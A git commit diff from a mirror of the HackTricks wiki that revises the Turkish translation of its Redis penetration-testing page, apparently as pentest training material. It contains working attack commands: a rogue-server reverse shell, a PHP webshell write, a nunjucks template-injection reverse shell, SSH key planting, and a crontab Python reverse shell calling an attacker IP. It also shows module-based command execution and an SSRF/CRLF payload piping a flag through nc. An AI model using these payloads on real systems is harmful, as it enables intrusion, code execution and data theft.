mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
daf55bd626
commit
015645339c
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## Temel Bilgiler
|
## Temel Bilgiler
|
||||||
|
|
||||||
[Belgelerden](https://redis.io/topics/introduction) alıntı: Redis, bir **veritabanı**, önbellek ve mesaj aracısı olarak kullanılan açık kaynaklı (BSD lisanslı), bellek içi **veri yapısı deposu**dur.
|
From [the docs](https://redis.io/topics/introduction): Redis, bir **veri yapısı deposu** olarak kullanılan, açık kaynaklı (BSD lisanslı), bellek içi bir **veritabanı**, önbellek ve mesaj aracıdır.
|
||||||
|
|
||||||
Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** uygulayabileceğini unutmamalısınız. Redis'i **ssl/tls ile çalıştırmayı** [buradan öğrenin](https://fossies.org/linux/redis/TLS.md).
|
Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** uygulayabileceğini de unutmamalısınız. [Redis'i ssl/tls ile çalıştırmayı burada öğrenin](https://fossies.org/linux/redis/TLS.md).
|
||||||
|
|
||||||
**Varsayılan port:** 6379
|
**Varsayılan port:** 6379
|
||||||
```
|
```
|
||||||
@ -24,14 +24,14 @@ msf> use auxiliary/scanner/redis/redis_server
|
|||||||
|
|
||||||
### Afiş
|
### Afiş
|
||||||
|
|
||||||
Redis, **metin tabanlı bir protokoldür**, sadece **bir sokette komutu gönderebilir** ve dönen değerler okunabilir olacaktır. Ayrıca Redis'in **ssl/tls** kullanarak çalışabileceğini unutmayın (ama bu çok garip).
|
Redis, **metin tabanlı bir protokol**dür, sadece **bir soket üzerinden komutu gönderebilir** ve dönen değerler okunabilir olacaktır. Ayrıca, Redis'in **ssl/tls** kullanarak çalışabileceğini unutmayın (ama bu çok garip).
|
||||||
|
|
||||||
Normal bir Redis örneğinde, `nc` kullanarak bağlanabilir veya `redis-cli` de kullanabilirsiniz:
|
Normal bir Redis örneğinde, `nc` kullanarak bağlanabilir veya `redis-cli` de kullanabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
nc -vn 10.10.10.10 6379
|
nc -vn 10.10.10.10 6379
|
||||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||||
```
|
```
|
||||||
İlk **komut** olarak deneyebileceğiniz **`info`**. Bu **Redis örneği hakkında bilgi içeren bir çıktı döndürebilir** veya aşağıdakine benzer bir şey dönebilir:
|
İlk komut olarak **`info`** komutunu deneyebilirsiniz. Bu, Redis örneği hakkında **veya aşağıdakine benzer bir şey** ile bilgi içeren bir çıktı döndürebilir:
|
||||||
```
|
```
|
||||||
-NOAUTH Authentication required.
|
-NOAUTH Authentication required.
|
||||||
```
|
```
|
||||||
@ -39,24 +39,24 @@ Bu son durumda, bu **geçerli kimlik bilgilerine ihtiyacınız var** Redis örne
|
|||||||
|
|
||||||
### Redis Kimlik Doğrulaması
|
### Redis Kimlik Doğrulaması
|
||||||
|
|
||||||
**Varsayılan olarak** Redis **kimlik bilgileri olmadan** erişilebilir. Ancak, **yalnızca şifre veya kullanıcı adı + şifre** destekleyecek şekilde **yapılandırılabilir**.\
|
**Varsayılan olarak** Redis, **kimlik bilgileri olmadan** erişilebilir. Ancak, **yalnızca şifre veya kullanıcı adı + şifre** destekleyecek şekilde **yapılandırılabilir**.\
|
||||||
_**redis.conf**_ dosyasında `requirepass` parametresi ile **bir şifre ayarlamak** mümkündür **veya geçici** olarak hizmet yeniden başlatılana kadar ona bağlanarak ve çalıştırarak: `config set requirepass p@ss$12E45`.\
|
_**redis.conf**_ dosyasında `requirepass` parametresi ile **bir şifre ayarlamak** mümkündür **veya geçici** olarak hizmet yeniden başlatılana kadar ona bağlanarak ve çalıştırarak: `config set requirepass p@ss$12E45`.\
|
||||||
Ayrıca, _**redis.conf**_ dosyasında `masteruser` parametresinde bir **kullanıcı adı** yapılandırılabilir.
|
Ayrıca, _**redis.conf**_ dosyasında `masteruser` parametresi ile **bir kullanıcı adı** yapılandırılabilir.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Yalnızca şifre yapılandırılmışsa, kullanılan kullanıcı adı "**default**"dır.\
|
> Yalnızca şifre yapılandırılmışsa, kullanılan kullanıcı adı "**default**"dır.\
|
||||||
> Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını **dışarıdan bulmanın bir yolu yoktur**.
|
> Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını **dışarıdan bulmanın bir yolu yoktur**.
|
||||||
|
|
||||||
Bu tür durumlarda, Redis ile etkileşimde bulunmak için **geçerli kimlik bilgilerini bulmanız gerekecek**, bu yüzden [**brute-force**](../generic-hacking/brute-force.md#redis) denemeyi düşünebilirsiniz.\
|
Bu tür durumlarda, Redis ile etkileşimde bulunmak için **geçerli kimlik bilgilerini bulmanız gerekecek**, bu nedenle [**brute-force**](../generic-hacking/brute-force.md#redis) denemeyi düşünebilirsiniz.\
|
||||||
**Geçerli kimlik bilgilerini bulduysanız, bağlantıyı kurduktan sonra oturumu kimlik doğrulamanız gerekir** komut ile:
|
**Geçerli kimlik bilgilerini bulduysanız, bağlantıyı kurduktan sonra oturumu kimlik doğrulamanız gerekir** komut ile:
|
||||||
```bash
|
```bash
|
||||||
AUTH <username> <password>
|
AUTH <username> <password>
|
||||||
```
|
```
|
||||||
**Geçerli kimlik bilgileri** ile yanıt verilecektir: `+OK`
|
**Geçerli kimlik bilgileri** ile yanıt verilecektir: `+OK`
|
||||||
|
|
||||||
### **Kimlik doğrulama ile sayım**
|
### **Kimlik doğrulama ile numaralandırma**
|
||||||
|
|
||||||
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgilerini elde ettiyseniz, hizmet için sayım sürecini başlatmak üzere aşağıdaki **komutları** kullanabilirsiniz:
|
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgilerini elde ettiyseniz, hizmet için numaralandırma sürecini başlatmak için aşağıdaki **komutları** kullanabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
INFO
|
INFO
|
||||||
[ ... Redis response with info ... ]
|
[ ... Redis response with info ... ]
|
||||||
@ -67,15 +67,15 @@ CONFIG GET *
|
|||||||
```
|
```
|
||||||
**Diğer Redis komutları** [**burada bulunabilir**](https://redis.io/topics/data-types-intro) **ve** [**burada**](https://lzone.de/cheat-sheet/Redis)**.**
|
**Diğer Redis komutları** [**burada bulunabilir**](https://redis.io/topics/data-types-intro) **ve** [**burada**](https://lzone.de/cheat-sheet/Redis)**.**
|
||||||
|
|
||||||
Bir örnek olarak, **bir örneğin Redis komutları** _redis.conf_ dosyasında yeniden adlandırılabilir veya kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:
|
Bir örnek olarak, **bir örneğin Redis komutları yeniden adlandırılabilir** veya _redis.conf_ dosyasında kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:
|
||||||
```
|
```
|
||||||
rename-command FLUSHDB ""
|
rename-command FLUSHDB ""
|
||||||
```
|
```
|
||||||
Redis hizmetini güvenli bir şekilde yapılandırma hakkında daha fazla bilgi burada: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
Daha fazla bilgi için Redis hizmetini güvenli bir şekilde yapılandırma hakkında buraya bakın: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||||
|
|
||||||
Ayrıca **`monitor`** komutunu kullanarak **Redis komutlarını gerçek zamanlı olarak izleyebilir** veya **`slowlog get 25`** ile en **yavaş 25 sorguyu** alabilirsiniz.
|
Ayrıca **`monitor`** komutunu kullanarak **Redis komutlarını gerçek zamanlı olarak izleyebilir** veya **`slowlog get 25`** ile en **yavaş 25 sorguyu** alabilirsiniz.
|
||||||
|
|
||||||
Daha fazla Redis komutu hakkında ilginç bilgileri burada bulabilirsiniz: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
Daha fazla ilginç bilgi için daha fazla Redis komutu hakkında buraya bakın: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||||
|
|
||||||
### **Veritabanını Dökme**
|
### **Veritabanını Dökme**
|
||||||
|
|
||||||
@ -87,7 +87,7 @@ Ya da tüm **anahtar alanlarını** (veritabanlarını) şu şekilde alabilirsin
|
|||||||
```
|
```
|
||||||
INFO keyspace
|
INFO keyspace
|
||||||
```
|
```
|
||||||
Bu örnekte **veritabanı 0 ve 1** kullanılıyor. **Veritabanı 0, 4 anahtar içeriyor ve veritabanı 1, 1 anahtar içeriyor**. Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmalısınız:
|
Bu örnekte **veritabanı 0 ve 1** kullanılıyor. **Veritabanı 0, 4 anahtar içeriyor ve veritabanı 1, 1 anahtar içeriyor**. Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmanız gerekir:
|
||||||
```bash
|
```bash
|
||||||
SELECT 1
|
SELECT 1
|
||||||
[ ... Indicate the database ... ]
|
[ ... Indicate the database ... ]
|
||||||
@ -116,13 +116,13 @@ DUMP <key>
|
|||||||
|
|
||||||
### Etkileşimli Shell
|
### Etkileşimli Shell
|
||||||
|
|
||||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) Redis'te (<=5.0.5) otomatik olarak etkileşimli bir shell veya ters shell alabilir.
|
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server), Redis(<=5.0.5) içinde otomatik olarak etkileşimli bir shell veya ters shell alabilir.
|
||||||
```
|
```
|
||||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||||
```
|
```
|
||||||
### PHP Webshell
|
### PHP Webshell
|
||||||
|
|
||||||
[**buradan**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) bilgi. **Web sitesi klasörünün** **yolunu** bilmelisiniz:
|
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). **Web sitesi klasörü**'nün **yolunu** bilmelisiniz:
|
||||||
```
|
```
|
||||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||||
@ -140,7 +140,7 @@ Eğer webshell erişim istisnası varsa, yedek aldıktan sonra veritabanını bo
|
|||||||
|
|
||||||
Önceki bölümde olduğu gibi, bir şablon motoru tarafından yorumlanacak bazı html şablon dosyalarını da üzerine yazabilir ve bir shell elde edebilirsiniz.
|
Önceki bölümde olduğu gibi, bir şablon motoru tarafından yorumlanacak bazı html şablon dosyalarını da üzerine yazabilir ve bir shell elde edebilirsiniz.
|
||||||
|
|
||||||
Örneğin, [**bu yazıda**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) görüldüğü gibi, saldırgan **nunjucks şablon motoru** tarafından yorumlanan bir **html** içine **rev shell** enjekte etmiştir:
|
Örneğin, [**bu yazıda**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) saldırganın **nunjucks şablon motoru** tarafından yorumlanan bir **html** içine **rev shell** enjekte ettiğini görebilirsiniz:
|
||||||
```javascript
|
```javascript
|
||||||
{{ ({}).constructor.constructor(
|
{{ ({}).constructor.constructor(
|
||||||
"var net = global.process.mainModule.require('net'),
|
"var net = global.process.mainModule.require('net'),
|
||||||
@ -155,18 +155,18 @@ sh.stderr.pipe(client);
|
|||||||
)()}}
|
)()}}
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Şunu unutmayın ki **birçok şablon motoru şablonları** **bellekte** **önbelleğe alır**, bu nedenle onları üzerine yazsanız bile, yenisi **çalıştırılmayacaktır**. Bu durumlarda, ya geliştirici otomatik yeniden yüklemeyi aktif bırakmıştır ya da hizmet üzerinde bir DoS gerçekleştirmeniz gerekir (ve bunun otomatik olarak yeniden başlatılmasını beklemelisiniz).
|
> Şunu unutmayın ki **birçok şablon motoru şablonları** **bellekte** **önbelleğe alır**, bu nedenle onları üzerine yazsanız bile, yenisi **çalıştırılmayacaktır**. Bu durumlarda, ya geliştirici otomatik yeniden yüklemeyi aktif bırakmıştır ya da hizmet üzerinde bir DoS gerçekleştirmeniz gerekir (ve otomatik olarak yeniden başlatılmasını beklemelisiniz).
|
||||||
|
|
||||||
### SSH
|
### SSH
|
||||||
|
|
||||||
Örnek [buradan](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
Örnek [buradan](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||||
|
|
||||||
Lütfen **`config get dir`** sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu, Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. **`config get dir`** çıktısında **redis kullanıcısının** **ana dizinini** (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_) bulabilirsiniz ve bunu bilerek `authenticated_users` dosyasını ssh **kullanıcı redis ile** erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ana dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:
|
Lütfen **`config get dir`** sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu, Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. **`config get dir`** çıktısında **redis kullanıcısının** **ev dizinini** bulabilirsiniz (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_), ve bunu bilerek `authenticated_users` dosyasını ssh **redis kullanıcısı ile** erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ev dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:
|
||||||
|
|
||||||
1. Bilgisayarınızda bir ssh genel-özel anahtar çifti oluşturun: **`ssh-keygen -t rsa`**
|
1. Bilgisayarınızda bir ssh public-private anahtar çifti oluşturun: **`ssh-keygen -t rsa`**
|
||||||
2. Genel anahtarı bir dosyaya yazın: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
2. Public anahtarı bir dosyaya yazın: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||||
3. Dosyayı redis'e aktarın: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
3. Dosyayı redis'e aktarın: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||||
4. Genel anahtarı redis sunucusundaki **authorized_keys** dosyasına kaydedin:
|
4. Public anahtarı redis sunucusundaki **authorized_keys** dosyasına kaydedin:
|
||||||
|
|
||||||
```
|
```
|
||||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||||
@ -182,6 +182,8 @@ OK
|
|||||||
|
|
||||||
**Bu teknik burada otomatikleştirilmiştir:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
**Bu teknik burada otomatikleştirilmiştir:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||||
|
|
||||||
|
Ayrıca, sistem kullanıcıları `config set dir /home/USER` ile kontrol edilerek keşfedilebilir ve onaylandıktan sonra yeni bir `authorized_keys` dosyası `/home/USER/.ssh/authorized_keys` içine yazılabilir. Bunu bir kullanıcı adı kelime listesi ile brute force yapmak ve `authorized_keys` dosyasını üzerine yazmak için [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) kullanın.
|
||||||
|
|
||||||
### Crontab
|
### Crontab
|
||||||
```
|
```
|
||||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||||
@ -199,11 +201,11 @@ Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir :[yam](https://ww
|
|||||||
|
|
||||||
### Redis Modülünü Yükle
|
### Redis Modülünü Yükle
|
||||||
|
|
||||||
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) adresindeki talimatları izleyerek **rastgele komutları çalıştırmak için bir redis modülü derleyebilirsiniz**.
|
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) adresinden talimatları izleyerek **rastgele komutları çalıştırmak için bir redis modülü derleyebilirsiniz**.
|
||||||
2. Ardından, **derlenmiş** modülü **yüklemek için** bir yol bulmalısınız.
|
2. Ardından, **derlenmiş** modülü **yüklemek için bir yol** bulmanız gerekir.
|
||||||
3. `MODULE LOAD /path/to/mymodule.so` ile çalışma zamanında **yüklenen modülü** yükleyin.
|
3. `MODULE LOAD /path/to/mymodule.so` ile çalışma zamanında **yüklenen modülü** yükleyin.
|
||||||
4. Doğru bir şekilde yüklenip yüklenmediğini kontrol etmek için **yüklenen modülleri listeleyin**: `MODULE LIST`
|
4. Doğru bir şekilde yüklenip yüklenmediğini kontrol etmek için **yüklenen modülleri listeleyin**: `MODULE LIST`
|
||||||
5. **Komutları** **çalıştırın**:
|
5. **Komutları çalıştırın**:
|
||||||
|
|
||||||
```
|
```
|
||||||
127.0.0.1:6379> system.exec "id"
|
127.0.0.1:6379> system.exec "id"
|
||||||
@ -215,9 +217,9 @@ Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir :[yam](https://ww
|
|||||||
|
|
||||||
6. İstediğiniz zaman modülü boşaltın: `MODULE UNLOAD mymodule`
|
6. İstediğiniz zaman modülü boşaltın: `MODULE UNLOAD mymodule`
|
||||||
|
|
||||||
### LUA sandbox atlatma
|
### LUA sandbox bypass
|
||||||
|
|
||||||
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) Redis'in **EVAL** komutunu **Lua kodunu sandboxed** olarak çalıştırmak için kullandığını görebilirsiniz. Bağlantılı yazıda **dofile** fonksiyonunu kullanarak **bunu nasıl kötüye kullanacağınızı** görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) bu artık mümkün değil. Yine de, eğer **Lua** sandbox'ını **atlarsanız**, sistemde **rastgele** komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı **DoS neden olma seçeneklerini** görebilirsiniz.
|
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) Redis'in **EVAL** komutunu **Lua kodunu sandbox içinde çalıştırmak için** kullandığını görebilirsiniz. Bağlantılı yazıda **dofile** fonksiyonunu kullanarak **bunu nasıl kötüye kullanacağınızı** görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) bu artık mümkün değil. Yine de, **Lua** sandbox'ını **aşabilirseniz**, sistemde **rastgele** komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı **DoS neden olma seçeneklerini** görebilirsiniz.
|
||||||
|
|
||||||
LUA'dan kaçış için bazı **CVE'ler**:
|
LUA'dan kaçış için bazı **CVE'ler**:
|
||||||
|
|
||||||
@ -225,7 +227,7 @@ LUA'dan kaçış için bazı **CVE'ler**:
|
|||||||
|
|
||||||
### Master-Slave Modülü
|
### Master-Slave Modülü
|
||||||
|
|
||||||
Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i bir slave redis olarak değerlendirebileceğimiz anlamına gelir; bu, kendi kontrolümüzdeki master redis'e bağlıdır, ardından kendi redis'imize komut girebiliriz.
|
Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i bir slave redis olarak değerlendirebileceğimiz anlamına gelir; bu, kendi kontrolümüzdeki master redis'e bağlıdır, ardından kendi redis'imize komut girebiliriz.
|
||||||
```
|
```
|
||||||
master redis : 10.85.0.51 (Hacker's Server)
|
master redis : 10.85.0.51 (Hacker's Server)
|
||||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||||
@ -237,7 +239,7 @@ redis-cli -h 10.85.0.51 -p 6379
|
|||||||
set mykey hello
|
set mykey hello
|
||||||
set mykey2 helloworld
|
set mykey2 helloworld
|
||||||
```
|
```
|
||||||
## Redis ile Konuşan SSRF
|
## SSRF Redis ile İletişim
|
||||||
|
|
||||||
Eğer **Redis**'e **düz metin** isteği gönderebiliyorsanız, **onunla iletişim kurabilirsiniz** çünkü Redis isteği satır satır okuyacak ve anlamadığı satırlara sadece hatalarla yanıt verecektir:
|
Eğer **Redis**'e **düz metin** isteği gönderebiliyorsanız, **onunla iletişim kurabilirsiniz** çünkü Redis isteği satır satır okuyacak ve anlamadığı satırlara sadece hatalarla yanıt verecektir:
|
||||||
```
|
```
|
||||||
@ -266,6 +268,6 @@ Ve **URL encode** isteği **SSRF** ve **CRLF** kullanarak bir `whoami` çalışt
|
|||||||
```
|
```
|
||||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||||
```
|
```
|
||||||
_Bir sebepten dolayı (bu bilginin alındığı_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _yazarı için) istismar `git` şeması ile çalıştı ve `http` şeması ile çalışmadı._
|
_Bir sebepten dolayı (bu bilginin alındığı_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _yazarına göre) istismar `git` şeması ile çalıştı ve `http` şeması ile çalışmadı._
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user